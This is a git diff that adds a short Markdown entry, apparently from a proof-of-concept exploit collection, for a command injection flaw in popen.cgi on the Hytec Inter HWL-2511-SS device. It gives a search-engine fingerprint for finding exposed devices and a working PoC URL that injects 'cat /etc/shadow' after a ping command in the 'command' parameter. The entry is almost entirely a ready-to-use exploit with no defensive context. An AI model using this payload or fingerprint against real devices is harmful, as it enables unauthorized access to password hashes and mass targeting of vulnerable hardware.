diff --git a/Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞.md b/Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞.md
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+## Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞
+搜索关键字：
+title="index" && header="lighttpd/1.4.30"
+
+### poc
+```
+
+/cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137921
+```